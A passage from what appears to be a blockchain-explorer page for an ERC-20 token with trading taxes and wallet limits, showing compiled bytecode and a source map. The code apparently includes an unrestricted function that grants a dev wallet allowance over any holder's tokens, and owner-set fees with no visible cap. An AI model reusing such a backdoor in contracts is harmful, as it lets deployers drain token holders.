a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6109826113b7565b600b54156109de5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b60648201526084016107dd565b43600b556005805461ffff60a81b191661010160a81b179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600e5460009061010090046001600160a01b0316610755848285611463565b610a4b6113b7565b6001600160a01b038116610ab05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107dd565b610ab981611411565b50565b6001600160a01b038316610b1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107dd565b6001600160a01b038216610b7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107dd565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610bec84846109f9565b90506000198114610c545781811015610c475760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016107dd565b610c548484848403610abc565b50505050565b6001600160a01b038316610c805760405162461bcd60e51b81526004016107dd90611a13565b6001600160a01b038216610ca65760405162461bcd60e51b81526004016107dd90611a58565b60008111610cf65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016107dd565b600554600160a01b900460ff1615611125576005546001600160a01b03848116911614801590610d3457506005546001600160a01b03838116911614155b8015610d4857506001600160a01b03821615155b8015610d5f57506001600160a01b03821661dead14155b1561112557600554600160a81b900460ff16610e5d576001600160a01b03831660009081526011602052604090205460ff1680610db457506001600160a01b03821660009081526011602052604090205460ff165b610e005760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e00000060448201526064016107dd565b6005546001600160a01b03848116911614610e5d5760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c65640000000000000060448201526064016107dd565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610eb757506001600160a01b03821660009081526011602052604090205460ff16155b15610f9f57600654811115610f265760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b60648201526084016107dd565b6008546001600160a01b038316600090815260208190526040902054610f4c9083611a00565b1115610f9a5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c65740060448201526064016107dd565b611125565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316148015610ff957506001600160a01b03831660009081526011602052604090205460ff16155b1561106a57600754811115610f9a5760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b60648201526084016107dd565b6001600160a01b03821660009081526011602052604090205460ff161580156110ac57506001600160a01b03831660009081526011602052604090205460ff16155b15611125576008546001600160a01b0383166000908152602081905260409020546110d79083611a00565b11156111255760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c65740060448201526064016107dd565b30600090815260208190526040902054600954811080159081906111525750600554600160b01b900460ff165b80156111615750600e5460ff16155b801561116e5750600a5483115b80156111ac57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b80156111d157506001600160a01b03851660009081526010602052604090205460ff16155b80156111f657506001600160a01b03841660009081526010602052604090205460ff16155b1561121b57600e805460ff19166001179055611210611489565b600e805460ff191690555b6001600160a01b03851660009081526010602052604090205460019060ff168061125d57506001600160a01b03851660009081526010602052604090205460ff165b15611266575060005b600081156113a357600554600160b81b900460ff16156112885761128861150e565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b03161480156112cb57506000600d54115b15611309576064600d54866112e09190611a9b565b6112ea9190611ab2565b905080600f60008282546112fe9190611a00565b909155506113859050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b031614801561134c57506000600c54115b15611385576064600c54866113619190611a9b565b61136b9190611ab2565b905080600f600082825461137f9190611a00565b90915550505b801561139657611396873083611598565b6113a08186611ad4565b94505b6113ae878787611598565b50505050505050565b6005546001600160a01b031633146108835760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107dd565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661147657600080fd5b6001600160a01b038216610b7f57600080fd5b30600090815260208190526040902054600f548115806114a7575080155b156114b0575050565b6009548211156114c05760095491505b6114c9826116c2565b600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611509573d6000803e3d6000fd5b505050565b6000600b54116115535760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b60448201526064016107dd565b600b544390600090611566906006611a00565b905080821161157d576012600c819055600d555050565b6004600c819055600d556005805460ff60b81b191690555050565b6001600160a01b0383166115be5760405162461bcd60e51b81526004016107dd90611a13565b6001600160a01b0382166115e45760405162461bcd60e51b81526004016107dd90611a58565b6001600160a01b0383166000908152602081905260409020548181101561165c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016107dd565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610c54565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116f7576116f7611ae7565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178d9190611afd565b816001815181106117a0576117a0611ae7565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117f8908590600090869030904290600401611b1a565b600060405180830381600087803b15801561181257600080fd5b505af1158015611826573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561185b5785810183015185820160400152820161183f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ab957600080fd5b600080604083850312156118a457600080fd5b82356118af8161187c565b946020939093013593505050565b6000602082840312156118cf57600080fd5b81356118da8161187c565b9392505050565b6000806000606084860312156118f657600080fd5b83356119018161187c565b925060208401356119118161187c565b929592945050506040919091013590565b6000806040838503121561193557600080fd5b50508035926020909101359150565b6000806040838503121561195757600080fd5b82356119628161187c565b91506020830135801515811461197757600080fd5b809150509250929050565b6000806040838503121561199557600080fd5b82356119a08161187c565b915060208301356119778161187c565b600181811c908216806119c457607f821691505b6020821081036119e457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561075b5761075b6119ea565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761075b5761075b6119ea565b600082611acf57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561075b5761075b6119ea565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611b0f57600080fd5b81516118da8161187c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b6a5784516001600160a01b031683529383019391830191600101611b45565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122051d859ccae1ce16a75d8dd7c783a849c6c13c916778d8370213a54471fca5c0f64736f6c63430008130033
Deployed Bytecode
0x60806040526004361061021e5760003560e01c8063751039fc11610123578063c9567bf9116100ab578063e6f705311161006f578063e6f7053114610633578063e6fe10b614610653578063eb81994814610669578063f2fde38b1461067f578063f8b45b051461069f57600080fd5b8063c9567bf9146105aa578063d00efb2f146105bf578063d28de273146105d5578063db861599146105fd578063dd62ed3e1461061357600080fd5b8063a457c2d7116100f2578063a457c2d7146104f6578063a8b0898214610516578063a9059cbb1461054a578063baccf5cf1461056a578063c02466681461058a57600080fd5b8063751039fc1461049857806388e765ff146104ad5780638da5cb5b146104c357806395d89b41146104e157600080fd5b80634a62bb65116101a6578063599270441161017557806359927044146103f157806366d602ae146104165780636ddd17131461042c57806370a082311461044d578063715018a61461048357600080fd5b80634a62bb65146103595780634ada218b1461037a57806350a5ca061461039b57806358d37533146103db57600080fd5b80631c0e0f2b116101ed5780631c0e0f2b146102c657806323b872dd146102e75780632b89392914610307578063313ce5671461031d578063395093511461033957600080fd5b806306fdde031461022a578063095ea7b3146102555780631525ff7d1461028557806318160ddd146102a757600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106b5565b60405161024c919061182e565b60405180910390f35b34801561026157600080fd5b50610275610270366004611891565b610747565b604051901515815260200161024c565b34801561029157600080fd5b506102a56102a03660046118bd565b610761565b005b3480156102b357600080fd5b506002545b60405190815260200161024c565b3480156102d257600080fd5b5060055461027590600160b81b900460ff1681565b3480156102f357600080fd5b506102756103023660046118e1565b61082b565b34801561031357600080fd5b506102b8600f5481565b34801561032957600080fd5b506040516012815260200161024c565b34801561034557600080fd5b50610275610354366004611891565b61084f565b34801561036557600080fd5b5060055461027590600160a01b900460ff1681565b34801561038657600080fd5b5060055461027590600160a81b900460ff1681565b3480156103a757600080fd5b506103c3735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b6040516001600160a01b03909116815260200161024c565b3480156103e757600080fd5b506102b8600c5481565b3480156103fd57600080fd5b50600e546103c39061010090046001600160a01b031681565b34801561042257600080fd5b506102b860075481565b34801561043857600080fd5b5060055461027590600160b01b900460ff1681565b34801561045957600080fd5b506102b86104683660046118bd565b6001600160a01b031660009081526020819052604090205490565b34801561048f57600080fd5b506102a5610871565b3480156104a457600080fd5b506102a5610885565b3480156104b957600080fd5b506102b860065481565b3480156104cf57600080fd5b506005546001600160a01b03166103c3565b3480156104ed57600080fd5b5061023f61089c565b34801561050257600080fd5b50610275610511366004611891565b6108ab565b34801561052257600080fd5b506103c37f000000000000000000000000ef0331bfd9e0afe943d4259eee3fdc7c7f73fb5f81565b34801561055657600080fd5b50610275610565366004611891565b610926565b34801561057657600080fd5b506102a5610585366004611922565b610934565b34801561059657600080fd5b506102a56105a5366004611944565b610947565b3480156105b657600080fd5b506102a561097a565b3480156105cb57600080fd5b506102b8600b5481565b3480156105e157600080fd5b506103c3737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561060957600080fd5b506102b860095481565b34801561061f57600080fd5b506102b861062e366004611982565b6109f9565b34801561063f57600080fd5b5061027561064e366004611891565b610a24565b34801561065f57600080fd5b506102b8600d5481565b34801561067557600080fd5b506102b8600a5481565b34801561068b57600080fd5b506102a561069a3660046118bd565b610a43565b3480156106ab57600080fd5b506102b860085481565b6060600380546106c4906119b0565b80601f01602080910402602001604051908101604052809291908181526020018280546106f0906119b0565b801561073d5780601f106107125761010080835404028352916020019161073d565b820191906000526020600020905b81548152906001019060200180831161072057829003601f168201915b5050505050905090565b600033610755818585610abc565b60019150505b92915050565b600e5461010090046001600160a01b0316331461077d57600080fd5b6001600160a01b0381166107e65760405162461bcd60e51b815260206004820152602560248201527f4552524f523a205f64657657616c6c657420616464726573732063616e6e6f74604482015264020626520360dc1b60648201526084015b60405180910390fd5b600e8054610100600160a81b0319166101006001600160a01b03938416810291909117918290559004166000908152601060205260409020805460ff19166001179055565b600033610839858285610be0565b610844858585610c5a565b506001949350505050565b60003361075581858561086283836109f9565b61086c9190611a00565b610abc565b6108796113b7565b6108836000611411565b565b61088d6113b7565b6005805460ff60a01b19169055565b6060600480546106c4906119b0565b600033816108b982866109f9565b9050838110156109195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107dd565b6108448286868403610abc565b600033610755818585610c5a565b61093c6113b7565b600c91909155600d55565b61094f6113b7565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6109826113b7565b600b54156109de5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b60648201526084016107dd565b43600b556005805461ffff60a81b191661010160a81b179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600e5460009061010090046001600160a01b0316610755848285611463565b610a4b6113b7565b6001600160a01b038116610ab05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107dd565b610ab981611411565b50565b6001600160a01b038316610b1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107dd565b6001600160a01b038216610b7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107dd565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610bec84846109f9565b90506000198114610c545781811015610c475760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016107dd565b610c548484848403610abc565b50505050565b6001600160a01b038316610c805760405162461bcd60e51b81526004016107dd90611a13565b6001600160a01b038216610ca65760405162461bcd60e51b81526004016107dd90611a58565b60008111610cf65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016107dd565b600554600160a01b900460ff1615611125576005546001600160a01b03848116911614801590610d3457506005546001600160a01b03838116911614155b8015610d4857506001600160a01b03821615155b8015610d5f57506001600160a01b03821661dead14155b1561112557600554600160a81b900460ff16610e5d576001600160a01b03831660009081526011602052604090205460ff1680610db457506001600160a01b03821660009081526011602052604090205460ff165b610e005760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e00000060448201526064016107dd565b6005546001600160a01b03848116911614610e5d5760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c65640000000000000060448201526064016107dd565b7f000000000000000000000000ef0331bfd9e0afe943d4259eee3fdc7c7f73fb5f6001600160a01b0316836001600160a01b0316148015610eb757506001600160a01b03821660009081526011602052604090205460ff16155b15610f9f57600654811115610f265760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b60648201526084016107dd565b6008546001600160a01b038316600090815260208190526040902054610f4c9083611a00565b1115610f9a5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c65740060448201526064016107dd565b611125565b7f000000000000000000000000ef0331bfd9e0afe943d4259eee3fdc7c7f73fb5f6001600160a01b0316826001600160a01b0316148015610ff957506001600160a01b03831660009081526011602052604090205460ff16155b1561106a57600754811115610f9a5760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b60648201526084016107dd565b6001600160a01b03821660009081526011602052604090205460ff161580156110ac57506001600160a01b03831660009081526011602052604090205460ff16155b15611125576008546001600160a01b0383166000908152602081905260409020546110d79083611a00565b11156111255760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c65740060448201526064016107dd565b30600090815260208190526040902054600954811080159081906111525750600554600160b01b900460ff165b80156111615750600e5460ff16155b801561116e5750600a5483115b80156111ac57507f000000000000000000000000ef0331bfd9e0afe943d4259eee3fdc7c7f73fb5f6001600160a01b0316856001600160a01b031614155b80156111d157506001600160a01b03851660009081526010602052604090205460ff16155b80156111f657506001600160a01b03841660009081526010602052604090205460ff16155b1561121b57600e805460ff19166001179055611210611489565b600e805460ff191690555b6001600160a01b03851660009081526010602052604090205460019060ff168061125d57506001600160a01b03851660009081526010602052604090205460ff165b15611266575060005b600081156113a357600554600160b81b900460ff16156112885761128861150e565b7f000000000000000000000000ef0331bfd9e0afe943d4259eee3fdc7c7f73fb5f6001600160a01b0316866001600160a01b03161480156112cb57506000600d54115b15611309576064600d54866112e09190611a9b565b6112ea9190611ab2565b905080600f60008282546112fe9190611a00565b909155506113859050565b7f000000000000000000000000ef0331bfd9e0afe943d4259eee3fdc7c7f73fb5f6001600160a01b0316876001600160a01b031614801561134c57506000600c54115b15611385576064600c54866113619190611a9b565b61136b9190611ab2565b905080600f600082825461137f9190611a00565b90915550505b801561139657611396873083611598565b6113a08186611ad4565b94505b6113ae878787611598565b50505050505050565b6005546001600160a01b031633146108835760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107dd565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661147657600080fd5b6001600160a01b038216610b7f57600080fd5b30600090815260208190526040902054600f548115806114a7575080155b156114b0575050565b6009548211156114c05760095491505b6114c9826116c2565b600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611509573d6000803e3d6000fd5b505050565b6000600b54116115535760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b60448201526064016107dd565b600b544390600090611566906006611a00565b905080821161157d576012600c819055600d555050565b6004600c819055600d556005805460ff60b81b191690555050565b6001600160a01b0383166115be5760405162461bcd60e51b81526004016107dd90611a13565b6001600160a01b0382166115e45760405162461bcd60e51b81526004016107dd90611a58565b6001600160a01b0383166000908152602081905260409020548181101561165c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016107dd565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610c54565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116f7576116f7611ae7565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178d9190611afd565b816001815181106117a0576117a0611ae7565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117f8908590600090869030904290600401611b1a565b600060405180830381600087803b15801561181257600080fd5b505af1158015611826573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561185b5785810183015185820160400152820161183f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ab957600080fd5b600080604083850312156118a457600080fd5b82356118af8161187c565b946020939093013593505050565b6000602082840312156118cf57600080fd5b81356118da8161187c565b9392505050565b6000806000606084860312156118f657600080fd5b83356119018161187c565b925060208401356119118161187c565b929592945050506040919091013590565b6000806040838503121561193557600080fd5b50508035926020909101359150565b6000806040838503121561195757600080fd5b82356119628161187c565b91506020830135801515811461197757600080fd5b809150509250929050565b6000806040838503121561199557600080fd5b82356119a08161187c565b915060208301356119778161187c565b600181811c908216806119c457607f821691505b6020821081036119e457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561075b5761075b6119ea565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761075b5761075b6119ea565b600082611acf57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561075b5761075b6119ea565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611b0f57600080fd5b81516118da8161187c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b6a5784516001600160a01b031683529383019391830191600101611b45565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122051d859ccae1ce16a75d8dd7c783a849c6c13c916778d8370213a54471fca5c0f64736f6c63430008130033
Deployed Bytecode Sourcemap
16402:8042:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6587:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8947:201;;;;;;;;;;-1:-1:-1;8947:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8947:201:0;1023:187:1;19371:281:0;;;;;;;;;;-1:-1:-1;19371:281:0;;;;;:::i;:::-;;:::i;:::-;;7716:108;;;;;;;;;;-1:-1:-1;7804:12:0;;7716:108;;;1613:25:1;;;1601:2;1586:18;7716:108:0;1467:177:1;16650:33:0;;;;;;;;;;-1:-1:-1;16650:33:0;;;;-1:-1:-1;;;16650:33:0;;;;;;9728:261;;;;;;;;;;-1:-1:-1;9728:261:0;;;;;:::i;:::-;;:::i;17014:27::-;;;;;;;;;;;;;;;;7558:93;;;;;;;;;;-1:-1:-1;7558:93:0;;7641:2;2252:36:1;;2240:2;2225:18;7558:93:0;2110:184:1;10398:238:0;;;;;;;;;;-1:-1:-1;10398:238:0;;;;;:::i;:::-;;:::i;16531:33::-;;;;;;;;;;-1:-1:-1;16531:33:0;;;;-1:-1:-1;;;16531:33:0;;;;;;16571:34;;;;;;;;;;-1:-1:-1;16571:34:0;;;;-1:-1:-1;;;16571:34:0;;;;;;17210:95;;;;;;;;;;;;17262:42;17210:95;;;;;-1:-1:-1;;;;;2479:32:1;;;2461:51;;2449:2;2434:18;17210:95:0;2299:219:1;16887:26:0;;;;;;;;;;;;;;;;16982:25;;;;;;;;;;-1:-1:-1;16982:25:0;;;;;;;-1:-1:-1;;;;;16982:25:0;;;16724:28;;;;;;;;;;;;;;;;16612:31;;;;;;;;;;-1:-1:-1;16612:31:0;;;;-1:-1:-1;;;16612:31:0;;;;;;7887:127;;;;;;;;;;-1:-1:-1;7887:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7988:18:0;7961:7;7988:18;;;;;;;;;;;;7887:127;5122:103;;;;;;;;;;;;;:::i;24129:84::-;;;;;;;;;;;;;:::i;16690:27::-;;;;;;;;;;;;;;;;4481:87;;;;;;;;;;-1:-1:-1;4554:6:0;;-1:-1:-1;;;;;4554:6:0;4481:87;;6806:104;;;;;;;;;;;;;:::i;11139:436::-;;;;;;;;;;-1:-1:-1;11139:436:0;;;;;:::i;:::-;;:::i;17048:36::-;;;;;;;;;;;;;;;8220:193;;;;;;;;;;-1:-1:-1;8220:193:0;;;;;:::i;:::-;;:::i;23957:160::-;;;;;;;;;;-1:-1:-1;23957:160:0;;;;;:::i;:::-;;:::i;18880:132::-;;;;;;;;;;-1:-1:-1;18880:132:0;;;;;:::i;:::-;;:::i;24219:222::-;;;;;;;;;;;;;:::i;16854:26::-;;;;;;;;;;;;;;;;17312:93;;;;;;;;;;;;17362:42;17312:93;;16790:25;;;;;;;;;;;;;;;;8476:151;;;;;;;;;;-1:-1:-1;8476:151:0;;;;;:::i;:::-;;:::i;19018:188::-;;;;;;;;;;-1:-1:-1;19018:188:0;;;;;:::i;:::-;;:::i;16920:27::-;;;;;;;;;;;;;;;;16822:25;;;;;;;;;;;;;;;;5380:201;;;;;;;;;;-1:-1:-1;5380:201:0;;;;;:::i;:::-;;:::i;16759:24::-;;;;;;;;;;;;;;;;6587:100;6641:13;6674:5;6667:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6587:100;:::o;8947:201::-;9030:4;289:10;9086:32;289:10;9102:7;9111:6;9086:8;:32::i;:::-;9136:4;9129:11;;;8947:201;;;;;:::o;19371:281::-;19456:10;;;;;-1:-1:-1;;;;;19456:10:0;19442;:24;19434:33;;;;;;-1:-1:-1;;;;;19486:24:0;;19478:74;;;;-1:-1:-1;;;19478:74:0;;4608:2:1;19478:74:0;;;4590:21:1;4647:2;4627:18;;;4620:30;4686:34;4666:18;;;4659:62;-1:-1:-1;;;4737:18:1;;;4730:35;4782:19;;19478:74:0;;;;;;;;;19563:10;:32;;-1:-1:-1;;;;;;19563:32:0;;-1:-1:-1;;;;;19563:32:0;;;;;;;;;;;;;19626:10;;;-1:-1:-1;19606:31:0;;;:19;:31;;;;;:38;;-1:-1:-1;;19606:38:0;-1:-1:-1;19606:38:0;;;19371:281::o;9728:261::-;9825:4;289:10;9883:38;9899:4;289:10;9914:6;9883:15;:38::i;:::-;9932:27;9942:4;9948:2;9952:6;9932:9;:27::i;:::-;-1:-1:-1;9977:4:0;;9728:261;-1:-1:-1;;;;9728:261:0:o;10398:238::-;10486:4;289:10;10542:64;289:10;10558:7;10595:10;10567:25;289:10;10558:7;10567:9;:25::i;:::-;:38;;;;:::i;:::-;10542:8;:64::i;5122:103::-;4367:13;:11;:13::i;:::-;5187:30:::1;5214:1;5187:18;:30::i;:::-;5122:103::o:0;24129:84::-;4367:13;:11;:13::i;:::-;24183:14:::1;:22:::0;;-1:-1:-1;;;;24183:22:0::1;::::0;;24129:84::o;6806:104::-;6862:13;6895:7;6888:14;;;;;:::i;11139:436::-;11232:4;289:10;11232:4;11315:25;289:10;11332:7;11315:9;:25::i;:::-;11288:52;;11379:15;11359:16;:35;;11351:85;;;;-1:-1:-1;;;11351:85:0;;5276:2:1;11351:85:0;;;5258:21:1;5315:2;5295:18;;;5288:30;5354:34;5334:18;;;5327:62;-1:-1:-1;;;5405:18:1;;;5398:35;5450:19;;11351:85:0;5074:401:1;11351:85:0;11472:60;11481:5;11488:7;11516:15;11497:16;:34;11472:8;:60::i;8220:193::-;8299:4;289:10;8355:28;289:10;8372:2;8376:6;8355:9;:28::i;23957:160::-;4367:13;:11;:13::i;:::-;24048:11:::1;:24:::0;;;;24083:12:::1;:26:::0;23957:160::o;18880:132::-;4367:13;:11;:13::i;:::-;-1:-1:-1;;;;;18965:28:0;;;::::1;;::::0;;;:19:::1;:28;::::0;;;;:39;;-1:-1:-1;;18965:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18880:132::o;24219:222::-;4367:13;:11;:13::i;:::-;24278:11:::1;::::0;:16;24270:65:::1;;;::::0;-1:-1:-1;;;24270:65:0;;5682:2:1;24270:65:0::1;::::0;::::1;5664:21:1::0;5721:2;5701:18;;;5694:30;5760:34;5740:18;;;5733:62;-1:-1:-1;;;5811:18:1;;;5804:34;5855:19;;24270:65:0::1;5480:400:1::0;24270:65:0::1;24360:12;24346:11;:26:::0;24383:14:::1;:21:::0;;-1:-1:-1;;;;24415:18:0;-1:-1:-1;;;24415:18:0;;;24219:222::o;8476:151::-;-1:-1:-1;;;;;8592:18:0;;;8565:7;8592:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8476:151::o;19018:188::-;19124:10;;19091:4;;19124:10;;;-1:-1:-1;;;;;19124:10:0;19145:31;19153:7;19124:10;19169:6;19145:7;:31::i;5380:201::-;4367:13;:11;:13::i;:::-;-1:-1:-1;;;;;5469:22:0;::::1;5461:73;;;::::0;-1:-1:-1;;;5461:73:0;;6087:2:1;5461:73:0::1;::::0;::::1;6069:21:1::0;6126:2;6106:18;;;6099:30;6165:34;6145:18;;;6138:62;-1:-1:-1;;;6216:18:1;;;6209:36;6262:19;;5461:73:0::1;5885:402:1::0;5461:73:0::1;5545:28;5564:8;5545:18;:28::i;:::-;5380:201:::0;:::o;15132:346::-;-1:-1:-1;;;;;15234:19:0;;15226:68;;;;-1:-1:-1;;;15226:68:0;;6494:2:1;15226:68:0;;;6476:21:1;6533:2;6513:18;;;6506:30;6572:34;6552:18;;;6545:62;-1:-1:-1;;;6623:18:1;;;6616:34;6667:19;;15226:68:0;6292:400:1;15226:68:0;-1:-1:-1;;;;;15313:21:0;;15305:68;;;;-1:-1:-1;;;15305:68:0;;6899:2:1;15305:68:0;;;6881:21:1;6938:2;6918:18;;;6911:30;6977:34;6957:18;;;6950:62;-1:-1:-1;;;7028:18:1;;;7021:32;7070:19;;15305:68:0;6697:398:1;15305:68:0;-1:-1:-1;;;;;15386:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15438:32;;1613:25:1;;;15438:32:0;;1586:18:1;15438:32:0;;;;;;;15132:346;;;:::o;15783:419::-;15884:24;15911:25;15921:5;15928:7;15911:9;:25::i;:::-;15884:52;;-1:-1:-1;;15951:16:0;:37;15947:248;;16033:6;16013:16;: